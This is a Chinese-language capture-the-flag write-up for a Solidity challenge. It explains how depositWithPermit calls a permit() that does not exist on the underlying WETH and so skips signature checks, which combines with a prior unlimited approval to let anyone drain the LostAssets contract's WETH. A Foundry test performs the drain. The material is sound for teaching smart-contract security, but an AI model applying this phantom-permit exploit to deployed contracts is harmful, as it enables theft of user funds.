05.challenge
2023-07-28 15:25:24 # 16.CBSC 2022

05.challenge

分析

1.全局观

三个合约:

  • MockWETH:普通的ERC20代币
  • MocksWETH:本身也是一个ERC20代币,并且拥有Permit功能,并且添加了一个普通的ERC20代币作为underlyingToken
  • LostAssets:初始化题目

2.任务

将LostAssets合约的WETH设置为0

1
2
3
4
function isComplete() public view returns (bool) {
require(WETH.balanceOf(address(this)) == 0);
return true;
}

3.分析

主要的是理解WETH、sWETH、LostAssets之间的授权关系,明白授权、转账时候的msg.sender是谁,资产情况如何。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract LostAssets {
MockWETH public WETH;
MocksWETH public sWETH;

constructor() payable {
require(msg.value >= 1 ether, "At least 1 ether");

WETH = new MockWETH();
sWETH = new MocksWETH(address(WETH));

// WETH资产:LostAssets获得msg.value的WETH
WETH.deposit{value: msg.value}();
// WETH资产:LostAssets 授权给 sWETH合约
WETH.approve(address(sWETH), type(uint256).max);
// sWETH: LostAssets 将资产从WETH换成sWETH
// 因为msg.sender是 LostAssets ,因此可以操作成功
// 这里已经操作了一半的资产,因此还有0.5ether可以操作
sWETH.deposit(msg.value / 2);
}

// 将LostAssets合约的WETH设置为0
function isComplete() public view returns (bool) {
require(WETH.balanceOf(address(this)) == 0);
return true;
}
}

WETH没有permit()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 链下签名: 将资产从WETH换成sWETH
function depositWithPermit(
address target,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s,
address to
) external returns (uint256) {
// underlying即WETH,没有这个方法,因此去到fallback()而不会检验,相当于啥也没写
IERC20Permit(underlying).permit(target,address(this),value,deadline, v,r,s);
// 因为有个已经执行过的操作: WETH资产:LostAssets 授权给 sWETH合约
// 因此sWETH合约可以用transferFrom()来操作 LostAssets 的WETH资产
// 因为上面的代码形同虚设,因此任何人都可以使用此方法
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}

因为permit()没用,因此参数除了target必须填写lostAssets,其他随便填

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "../../src/05.challenge/LostAssets.sol";

contract attackTest is Test {
LostAssets lostAssets;
MockWETH public WETH;
MocksWETH public sWETH;

function setUp() public{
lostAssets = new LostAssets{value: 1 ether}();
WETH = lostAssets.WETH();
sWETH = lostAssets.sWETH();
}

function test_isComplete() public{
sWETH.depositWithPermit(address(lostAssets), 0.5 ether, 99999999999, 1, 0x00, 0x00, address(this));
assertEq(lostAssets.isComplete(),true);
}

}